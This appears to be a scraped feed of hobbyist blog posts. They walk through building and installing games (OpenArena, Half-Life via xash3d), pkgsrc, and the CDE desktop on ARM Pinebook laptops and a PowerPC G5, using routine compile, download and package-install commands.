#define ARCH_STRING "aarch64"


make -j4

cd ~/OPENARENA
cd gamecode
make -j4

cd code/game
./extract_entities.sh > openarena.def

cd ~/OPENARENA
cd gamecode/linux_scripts

Next we need to create a supermake.local build file 
Make sure to include the full path to the openarena.aarch64 here

BINNAME=/path_to/OPENARENA/engine/build/release-linux-aarch64/openarena.aarch64
ARCH=aarch64

Now in order to run the game you just execute the ./supermake from the 
OPENARENA/gamecode/linux_scripts

./supermake

It wont work because we need to get the OpenArena PAK files
- get the files
In your home directory there is .openarena directory

cd ~/.openarena/baseoa

total 400688
drwxr-x--- 2 user user 4096 Jan 17 22:45 .
drwxr-x--- 4 user user 4096 Jan 26 15:27 ..
-rw-rw-r-- 1 user user 8192 Jan 19 18:59 challenges.dat
-rw-r----- 1 user user 230 Jan 17 00:13 crashlog.txt
-rw-rw-r-- 1 user user 156 Jan 17 22:29 oax.pk3
-rw-r--r-- 1 user user 38138505 Jan 17 22:29 pak0.pk3
-rw-r--r-- 1 user user 38421794 Jan 17 22:29 pak1-maps.pk3
-rw-r--r-- 1 user user 26754265 Jan 17 22:29 pak2-players-mature.pk3
-rw-r--r-- 1 user user 74389371 Jan 17 22:29 pak2-players.pk3
-rw-r--r-- 1 user user 97077243 Jan 17 22:29 pak4-textures.pk3
-rw-r--r-- 1 user user 2907315 Jan 17 22:29 pak5-TA.pk3
-rw-r--r-- 1 user user 24912892 Jan 17 22:29 pak6-misc.pk3
-rw-r--r-- 1 user user 36972040 Jan 17 22:29 pak6-patch085.pk3
-rw-r--r-- 1 user user 70645224 Jan 17 22:29 pak6-patch088.pk3
-rw-rw-r-- 1 user user 10716 Jan 19 18:56 q3config.cfg
-rw-rw-r-- 1 user user 230 Jan 18 23:30 q3history

So we need to get the pak0 pak1-maps pak2-players-mature pak2-players pak4-textures
pak5-TA pak6-misc pak-patch085 pak6-patch088

I have used the https://sourceforge.net/projects/oarena/files/latest/download

cd ~/OPENARENA
mkdir DATA
cd DATA
wget https://svwh.dl.sourceforge.net/project/oarena/openarena-0.8.8.zip
unzip openarena-0.8.8.zip
cd openarena-0.8.8/baseoa
cp *.pk3 ~/.openarena/baseoa

We don't need the DATA directory anymore now and it can be deleted

cd ~/OPENARENA 
rm -rf DATA

To play OpenArena

cd ~OPENARENA/gamecode/linux_scripts
./supermake

OpenArena gets about 70 FPS on the PinebookPro with the Panfrost driver and is really well playable, you should try the Pine64 community OpenArena server ;)

Enjoy


Pinebookpro gaming part 3

$
0
0

This time we will be doing a pure stock Debian 9 Stretch aarch64 that the PinebookPro ships with. I always keep the stock system installed on the eMMC and use other systems off the microSD (Manjaro, NetBSD) I have kept this because Debian 9 ships with a 32bit userland and 64bit kernel, and some games/programs are just not ready yet for 64bit space (which Manjaro aarch64 is – the code builds there but crashes and I need to figure out why )

This time we will build a native Linux 32-bit ARM launcher for Half-Life 1 called xash3d and play Half-Life and some of the mods – namely the legendary Counter Strike 1.3 and 1.6

There is a detailed howto on the project’s Github page already (https://github.com/FWGS/xash3d/wiki/Building-and-running), but we will just go through the steps here

You will need the standard Debian development tools/SDL2-dev/cmake

# apt-get install build-essential cmake libsdl2-dev libsdl1.2-dev libsdl2-mixer-dev ..etc

Lets create a working directory for the sources and call it SRC and store the build files there

mkdir ~/SRC
cd ~/SRC
git clone --recursive https://github.com/FWGS/xash3d
cd xash3d
git clone https://github.com/ValveSoftware/halflife hlsdk/
cd engine
git clone https://github.com/FWGS/nanogl
cd ..
mkdir -p build
cd build
cmake -DHL_SDK_PATH=../hlsdk/ -DXASH_VGUI=no -DXASH_NANOGL=yes -DXASH_GLES=yes ..
make -j4

Should say [100%] Built target xash

We have compiled the xash engine, lets get the game done now

cd ~/SRC
git clone https://github.com/FWGS/hlsdk-xash3d
cd hlsdk-xash3d
mkdir build
cd build
cmake ../
make -j4

Should say [100%] Built target server

Now lets prepare the actual Game data directory and copy over the compiled arm32 binaries

mkdir ~/HalfLife
cd ~/HalfLife
cp ~/SRC/xash3d/build/engine/libxash.so .
cp ~/SRC/xash3d/build/game_launch/xash3d .
cp ~/SRC/xash3d/build/mainui/libxashmenu.so .
cp ~/SRC/hlsdk-xash3d/build/cl_dll/client.so .
cp ~/SRC/hlsdk-xash3d/build/dlls/hl.so .

Now we need to prepare the actual Game Data and move them from an installed Windows or Wine environment.
You can download the Half Life 1 ISO from Archive.org and install it in Wine on x86_64 Linux or Windows in Qemu :)

https://archive.org/details/HalfLifeGameOfTheYearEdition

Once you install this under Qemu Windows or Linux x86_64 under Wine you need to copy over the valve directory as it is and place it to the PinebookPro ~/HalfLife directory

cd ~/HalfLife

Launch the game with the following command (save it as a launcher script) 

LD_LIBRARY_PATH=. ./xash3d -dev 5 

The game runs fine and multiplayer works well too.

For MODs to play I have chosen  Counter Strike 1.3 (1.3 is better supported)  and 1.6

https://www.moddb.com/mods/counter-strike/downloads/counter-strike-13

The approach is the same, install the CounterStrike on Windows Qemu or under Wine and copy over the scstrike directory to ~/HalfLife on the Pinebookpro

cd ~/HalfLife

Launch the game with the following command (save it as a launcher script)

LD_LIBRARY_PATH=. ./xash3d -dev 5 -game cstrike

As of now the Counter Strike 1.6 does not work well, you can run around the maps as Gordon Freeman, With 1.3 its better, one can connect to the public servers but cannot choose the team (CS or T) .. need to investigate that ..

There is an older CS16 client source repo before it went close-sourced here

https://github.com/FWGS/cs16-client/tree/v1.32 

git clone -b v1.32 https://github.com/FWGS/cs16-client

Perhaps this could be compiled  natively on the Pinebookpro aarch64 Debian9 so that Counter Strike could be fully playable on this platform.

Reference material : https://www.reddit.com/r/RetroPie/comments/8zydae/guide_running_halflife_and_possibly_other_goldsrc/

 

Using PKGSRC on Manjaro Linux aarch64 Pinebook-pro

$
0
0

I wanted to see how pkgsrc works on aarch64 Linux Manjaro since it is a very mature framework that is very portable and supported by many architectures – pkgsrc (package source) is a package management system for Unix-like operating systems. It was forked from the FreeBSD ports collection in 1997 as the primary package management system for NetBSD.

Full pkgsrc package index is available for browsing here https://www.pkgsrc.se/

One might question why use pkgsrc on Arch based Manjaro, since the pacman package repository is very good on its own. I see alternative pkgsrc as a good automated build framework that offers a way to produce independent build environment /usr/pkg that does not interfere with the current Linux distribution in any way (all libraries are statically built)

I have used the latest Manjaro for Pinebookpro and standard recommended tools as mentioned here https://wiki.netbsd.org/pkgsrc/how_to_use_pkgsrc_on_linux/

 

  • gcc (and libstdc++)   (pacman -S base-devel)
  • ncurses  (pacman -S ncurses)
  • zlib  (pacman -S zlib)
  • openssl  (pacman -S openssl)

Next we make sure we have at least 10 GB of disk space (i have used 20 GB for pkgsrc) to place the pkgsrc environment.

We have a choice to use either the stable quarterly branches of pkgsrc or the bleeding edge (current) which contains the latest pieces of software, but can be unstable in certain situations and times of sync. If one decides to experiment with the current, like me, you can always get help from the wonderful NetBSD/pkgsrc community on their mailing lists https://www.netbsd.org/mailinglists/

Downloading pkgsrc-current

# cd /usr
# ftp ftp.netbsd.org 
login as anonymous (ftp) 
ftp> pass     (I need to enter passive because of my network) 
ftp> cd pub
ftp> cd current
ftp> get pkgsrc.tar.xz     
After it downloads, exit FTP session
ftp> exit
# unxz pkgsrc.tar.xz
# tar -xvf pkgsrc.tar 
After if finishes extracting we can delete pkgsrc.tar
# rm pkgsrc.tar

Next we will bootsrap pkgsrc on our Manjaro Linux aarch64 so that we can start building packages

# cd /usr/pkgsrc/bootstrap
# ./bootstrap

This will take about 10 minutes to finish, and once done we are almost ready to start building packages. There will be a new system independent environment created by default in /usr/pkg   (if once wishes to change the location and customize, one can do so by reading the pkgsrc documentation)  The pkg directory structure is as follows

/usr/pkg/bin
/usr/pkg/etc
/usr/pkg/include
/usr/pkg/info
/usr/pkg/lib
/usr/pkg/libexec
/usr/pkg/man
/usr/pkg/pkgdb
/usr/pkg/pkgdb.refcount 
/usr/pkg/sbin
/usr/pkg/share

All the pkg executable binaries are stored in /usr/pkg/bin and this should be taken into an account if setting up a new binary executable paths.

There is a caveat in Linux Manjaro aarch64 pkgsrc build which results on the dreaded message during certain packages builds (readline, gettext-tools,python … and others)

[builds should fail with compiler cannot create executables]

In order to fix this on Manjaro aarch64 I have edited  the following file in /usr/pkgsrc

/usr/pkgsrc/mk/termcap.builtin.mk

And replaced all   BUILTIN_LIBNAME.termcap= values with curses    Diff and the modified file is available here http://45.76.81.249/pkgsrc/aarch64-linux/

Now we are ready to build pkgsrc packages on the Manjaro aarch64 Pinebook ! Packages are normally built like this

# cd /usr/pkgsrc/security/bcrypt 
# /usr/pkg/bin/bmake install clean clean-depends 
Once the build finishes the gzipped package tarball will
land in /usr/pkgsrc/packages/All and the binaries will get installed 
to 
# /usr/pkg/bin/bcrypt

It is advisable to read the full pkgsrc documentation before running this

As of writing I have managed to successfully compiled a few packages and uploaded them here http://45.76.81.249/pkgsrc/aarch64-linux/All   I will update this with more packages if anybody wants to experiment.

My first test was to see if Doom3 (pkgsrc/games/dhewm3) builds and runs on Manjaro aarch64 , and it does (although its not usgin the panfrost drivers for now)

Binary packages can be installed as follows https://www.netbsd.org/docs/pkgsrc/using.html#installing-binary-packages

Installing binary packages

In the directory from the last section, there is a subdirectory called All/, which contains all the binary packages that are available for the platform, excluding those that may not be distributed via FTP or CDROM (depending on which medium you are using).

To install packages directly from an FTP or HTTP server, run the following commands in a Bourne-compatible shell (be sure to su to root first):

# PATH="/usr/pkg/sbin:$PATH" # PKG_PATH="http://cdn.NetBSD.org/pub/pkgsrc/packages" # PKG_PATH="$PKG_PATH/OPSYS/ARCH/VERSIONS/All/" # export PATH PKG_PATH

Instead of URLs, you can also use local paths, for example if you are installing from a set of CDROMs, DVDs or an NFS-mounted repository. If you want to install packages from multiple sources, you can separate them by a semicolon in PKG_PATH.

After these preparations, installing a package is very easy:

# pkg_add libreoffice # pkg_add ap24-php71-*

Note that any prerequisite packages needed to run the package in question will be installed, too, assuming they are present where you install from.

Adding packages might install vulnerable packages. Thus you should run pkg_admin audit regularly, especially after installing new packages, and verify that the vulnerabilities are acceptable for your configuration.

After you’ve installed packages, be sure to have /usr/pkg/bin and /usr/pkg/sbin in your PATH so you can actually start the just installed program.

 

CDE (Common Desktop Environment) on NetBSD ebvarm Pinebook

$
0
0

WordPress does strange formatting, so if the below text is hard to read use a link here
http://45.76.81.249/Pinebook64/NetBSD/CDE/

Not much time to post nicely formatted articles now, so hopefully the below format would 
do - if you are into some retro look on modern systems this might be for you :) 
 


   ---------------------------------------------- 
   Latest CDE 2.3.2 on NetBSD 9 evbarm Pinebooks           
   ----------------------------------------------  

- I have verified the build steps in a vanilla NetBSD 9 arm64 install inside qemu  
- And it works on real HW as well (Pinebook/PinebookPro) 

- Downloaded a Pinebook image from invisible.ca 

- http://www.invisible.ca/arm/netbsd-9/202005010840Z/NetBSD-evbarm-aarch64-202005010840Z-pinebook.img.gz

Installed in KVM accelerated qemu-system-aarch64  for verification process 

- Step 1 
  ------ 

First we need to install a few aarch64 packages that are essential for CDE 
We can use the pre-built aarch64 pkgsrc-2019Q4 binary packages on master 
ftp.netbsd.org for this 

arm64# export PKG_PATH="http://cdn.netbsd.org/pub/pkgsrc/packages"
arm64# export PKG_PATH="$PKG_PATH/NetBSD/aarch64/9.0_2019Q4/All"
arm64# export PATH PKG_PATH
arm64# pkg_add motif
arm64# pkg_add gmake 
arm64# pkg_add freetype2
arm64# pkg_add font-adobe-75dpi 
arm64# pkg_add font-adobe-100dpi 
amr64# pkg_add fontconfig 
arm64# pkg_add wget 
arm64# pkg_add meson  

- Step 2
 -------

- Lets create a working directory for CDE 

arm64# mkdir $HOME/CDE 
arm64# cd $HOME/CDE 

- We will first need to download and install ast (korn shell) 
- There were numerous issues in the past with the AST kornshell 
- on NetBSD, so I have tested my own way of getting in onto 
- evbarm      
- Original sources were git cloned on December 2019 from 
- https://github.com/att/ast  
- But the code kept chaning a lot so I have decided to keep my working
- version below which you can use  

arm64# wget http://45.76.81.249/Pinebook64/NetBSD/CDE/ast.tar.gz
arm64# gunzip ast.tar.gz 
arm64# tar -xvf ast.tar 
arm64# cd ast 
arm64# meson --prefix=/usr/pkg build 
arm64# ninja -C build
arm64# ninja -C build install  
arm64# ln -s /usr/pkg/bin/ksh /usr/pkg/bin/ksh93

arm64# /usr/pkg/bin/ksh93  --version
  version         sh (AT&T Research) 2020.0.0

- We are ready now for the CDE
- There are 2 options now, either download the complete DT binary set from me 
- or build it from source, both methods are described here 
- (Im working on a pkgsrc script to put all this together)  


- If you do not wish to compile the CDE sources you can download the /usr/dt 
- gzipped tarball for NetBSD 9 evbarm I have built  
- --------------------------------------------------------------------------

arm64# cd $HOME/CDE 
arm64# wget http://45.76.81.249/Pinebook64/NetBSD/CDE/dt-2.3.2.tar.gz 
arm64# mv dt-2.3.2.tar.gz /usr 
arm64# gunzip /usr/dt-2.3.2.tar.gz 
arm64# tar -xvf /usr/dt-2.3.2.tar   

- Now make sure you ger rpcbind enabled in /etc/rc.conf 
- by adding a following line 

rpcbind=YES rpcbind_flags="-l" 

- And start rpcbind 

arm64# /etc/rc.d/rpcbind start 

- Also make sure your hostname is properly set in /etc/hosts (CDE needs this) 

::1                     arm64 localhost localhost.
127.0.0.1               arm64 localhost localhost.

- Now we can finally start CDE by running the following command under your user 

arm64$ startx /usr/dt/bin/Xsession 

- And add these to your $HOME Xdefaults

Xdefaults 
*saveLines:32000 
*scrollBar:True  


- If you wish to build CDE from source 
- ------------------------------------

arm64# cd $HOME/CDE 
arm64# wget http://45.76.81.249/Pinebook64/NetBSD/CDE/cde-2.3.2.tar.gz
arm64# gunzip cde-2.3.2.tar.gz 
arm64# tar -xvf cde-2.3.2.tar.gz 
arm64# cd cde-2.3.2 
arm64# gmake World.dev 
arm64# cd admin/IntegTools/dbTools
arm64# ./installCDE -s $HOME/CDE/cdesktopenv-code/cde  
arm64# cd $HOME 

- Now make sure you ger rpcbind enabled in /etc/rc.conf
- by adding a following line

rpcbind=YES rpcbind_flags="-l"

- And start rpcbind

arm64# /etc/rc.d/rpcbind start

-Also make sure your hostname is properly set in /etc/hosts (CDE needs this)

::1                     arm64 localhost localhost.
127.0.0.1               arm64 localhost localhost.


- To start X with CDE run the following command under our user  

arm64$ startx /usr/dt/bin/Xsession

- And add these to your $HOME Xdefaults 
Xdefaults 
*saveLines:32000 
*scrollBar:True 


- As a bonus you also get the XNEDIT sources/binaries for NetBSD 9 evbarm 

http://45.76.81.249/Pinebook64/NetBSD/CDE/xnedit.tar.gz

Starcraft on Pinebookpro Manjaro (aarch64)

$
0
0

Lately Im not updating this blog too much, so if anybody wants to follow some fresh randomness – please check https://twitter.com/astr0baby

Added a few HOWTOs for the Pinebookpro here in case anybody is interested

Age of Empires II – http://45.76.81.249/Pinebook64/pinebook-pro/GAMES-HOWTO/openage/

– the code is still work-in-progress but the game is partially playable

Might and Magic 3 – http://45.76.81.249/Pinebook64/pinebook-pro/GAMES-HOWTO/vcmi/

Starcraft 1 – http://45.76.81.249/Pinebook64/pinebook-pro/GAMES-HOWTO/starcraft/

Game is playable on 800×600 resolution without crashes, on larger I have observed crashes during structure build animation.

All the above links are ASCII friendly and really usable in console browsers like Lynx, Elinks

 

 

pkgsrc 2020Q3 on PPC64 MacPro G5

$
0
0
Text only friendly version @ http://45.76.81.249/PPC64/Linux/


  - The following entry is dedicated to a Linux PPC64 (Big Endian) platform 
  - All was done on a legendary PowerMac G5  


 Binary pkgsrc PPC64 (64bit ABI) selected packages for Linux PPC64 (glibc based distros) 

 pkgsrc 2020Q3 packages were compiled using native build GCC 10.2.0 and are 64bit 
 all are linked against the older legacy  (Ubuntu GLIBC 2.23-0ubuntu11.2) 2.23  
 so it should work fine on ppc64 distros using this version of glibc and above 

 I have tested the builds on -current OpenSUSE Tumbleweed (September 2020) PPC64 
 and it works just fine. 

 On the Ubuntu 16.04 PPC64 make sure you have 64bit libc installed  

 	linux-vdso64.so.1 =>  (0x00003fff86ed0000)
	libc.so.6 => /lib64/libc.so.6 (0x00003fff86ca6000)
	/lib64/ld64.so.1 (0x00003fff86ea5000)


root@ubuntu-ppc64:/home/user/SRC# dpkg -l | grep libc6 
ii  libc6:powerpc                          2.23-0ubuntu11.2                           powerpc      GNU C Library: Shared libraries
ii  libc6-dbg:powerpc                      2.23-0ubuntu11.2                           powerpc      GNU C Library: detached debugging symbols
ii  libc6-dev:powerpc                      2.23-0ubuntu11.2                           powerpc      GNU C Library: Development Libraries and Header Files
ii  libc6-dev-powerpc-cross                2.23-0ubuntu3cross1                        all          GNU C Library: Development Libraries and Header Files (for cross-compiling)
ii  libc6-dev-ppc64                        2.23-0ubuntu11.2                           powerpc      GNU C Library: 64bit Development Libraries for PowerPC64
ii  libc6-dev-ppc64-powerpc-cross          2.23-0ubuntu3cross1                        all          GNU C Library: 64bit Development Libraries for PowerPC64 (for cross-compiling)
ii  libc6-powerpc-cross                    2.23-0ubuntu3cross1                        all          GNU C Library: Shared libraries (for cross-compiling)
ii  libc6-ppc64                            2.23-0ubuntu11.2                           powerpc      GNU C Library: 64bit Shared libraries for PowerPC64
ii  libc6-ppc64-powerpc-cross              2.23-0ubuntu3cross1                        all          GNU C Library: 64bit Shared libraries for PowerPC64 (for cross-compiling)


HOW TO USE THE REPOSITORY 
-------------------------

 I have uploaded the compiled GCC 10.2.0 and compiled/bootstraped pkgsrc-2020Q3 to my repo so if you do not want to compile 
 the packages yourself, you can use the pre-build tarballs 


SPECIFIC STEPS FOR Ubuntu 16.04 PPC64 on the G5 
-----------------------------------------------
  - on other pure glibc based PPC64 systems omit the 1.1 step 

 
1.1) Steps to prepare: 
     ------------------
     sudo su - 
     apt-get install libc6-ppc64 libc6-dev-ppc64 libc6-dev-ppc64-powerpc-cross libc6-ppc64-powerpc-cross 

1.2) Get pkgsrc binary tarball 
     pkgsrc documentation - https://www.netbsd.org/docs/pkgsrc/ 
     -------------------------
     sudo su -  
     cd /usr 
     apt-get install wget    (or curl or whatever to download the tarballs) 
     wget http://45.76.81.249/PPC64/Linux/pkg.tar.gz  
     gunzip pkg.tar.gz
     tar -xvf pkg.tar
      
     
1.3) Get GCC 10.2.0 and binutils for PPC64 
     -------------------------------------
     sudo su - 
     cd /usr/local 
     wget http://45.76.81.249/PPC64/Linux/gcc-10.2.0.tar.gz
     gunzip gcc-10.2.0.tar.gz
     tar -xvf gcc-10.2.0.tar 
     cd /opt
     wget http://45.76.81.249/PPC64/Linux/opt.tar.gz 
     gunzip opt.tar.gz
     tar -xvf opt.tar 

     // Setup LDCONF and paths so that we can use the GCC in the future 
     // Make sure to add the following new patsh to /etc/ld.so.conf.d/gcc and gcc64 (create the files)  

     root@ubuntu-ppc64:/etc/ld.so.conf.d# cat gcc.conf 
     /usr/local/gcc-10.2.0/lib
     root@ubuntu-ppc64:/etc/ld.so.conf.d# cat gcc64.conf 
     /usr/local/gcc-10.2.0/lib64
 
     ldconfig 

     Adjust paths to add  /usr/local/gcc-10.2.0/bin if you wish to use GCC 10.2.0 for your projects   
 
1.4) Start using pkgin 
     ------------------
     // Full official documentation for pkgin is available here https://pkgin.net/ 
     // So now that we have binary /usr/pkg installed we can setup some packages 
     // by adding the remote repository to the /usr/pkg/etc/pkgin/repositories.conf 
   
     # Remote http repository
     #
     http://45.76.81.249/PPC64/Linux/pkgsrc/2020Q3/All   
    
     // Once we have this in place we can update the pkgin cache and sync it with online repo 

     /usr/pkg/bin/pkgin update 

     // Search and install some packages 

     /usr/pkg/bin/pkgin install dunelegacy    

     // Please note the /usr/pkg paths - this is where the new packages get installed 
     // So if needed adjust the paths or just remember to use /usr/pkg/bin   prefix 
     // All packages are 64bit PPC64 binaries !!! 

1.5) Some notable packages you can try 

     // Packages here are just an experiment to learn how to build pkgsrc packages 
     // on non Intel platforms 

     > Development Languages 
       LLVM10
       clang10 
       rust 
       python37 
       python27 
       php73 
       nodejs8  
   
     > Browsers 
       Links 
       Dillo 

     > Games 
       devilutionx (Diablo 1 - needs datafiles )  
       alephone
       scummvm (Play good old DOS games)  
       iortcw  (Return to Castle Wolfenstein - needs datafiles )  
       rott (Rise of Triad - needs datafiles) 
       tyrquake (Quake 1 - needs datafiles) 
       chocolate-doom (Doom,Hexen,Heretic) 
       prboom (Doom1/2)  
       prboom-plus (Doom1/2)
       dhewm3 (Doom3 - needs data files - issues on BigEndian systems - no menu text) 
       dunelegacy (Dune II - needs datafiles) 

      > Security 
        OpenSSH 8.3.1 
         
      ...and many more ....  
 
Some notes on the PowerMac G5 Ubuntu 16.04 Linux 
------------------------------------------------
AUDIO
-----
To get audio working make sure you load the following modules 

apm_emu
snd_aoa
snd_aoa_soundbus
snd_aoa_i2sbus
snd_aoa_fabric_layout
snd_aoa_codec_tas
snd-pcm-oss 

Unmute the powermac specific sound device in alsamixer 

GRAPHICS 
--------
To get SDL2 working properly from pkgsrc make sure to install libudev-243 !!! 

/usr/pkg/bin/pkgadd libudev-243  

The G5 I use comes with  Advanced Micro Devices, Inc. [AMD/ATI] RV350 [Radeon 9550/9600/X1050 Series]  
and some games do not seem to work with this hardware or are buggy 
 - Yquake2 
 - Cube 2: Sauerbraten 
 
But other games perform really well - especially 
 - iortcw (Return to Caslte Wolfenstein) 
 - tyr-quake 
 - SDL1.2 based games 
 - SDL2 based games (sometimes there are sound issues)  
 - Pentagram (Ultima VIII) 
 - RoTT (Rise of the Triad) 
 - Prboom/Prboom-pro/Chocolate-Doo/Hexen/Heretic
 - UFO  
   (you need to fix the /usr/pkg/bin/ufo script after installation) 
    // cd /usr/pkg/share/ufoai; ./ufo $*; exit $?
 - DevillutionX (Diablo1) 
 - DuneLegacy (Dune II) 
 - SCUMMVM 

  
 
P.S the package list is still Work in Progress so I will add some more over time 
   
Hope somebody will enjoy this as much as I did :) 
Viewing all 183 articles
Browse latest View live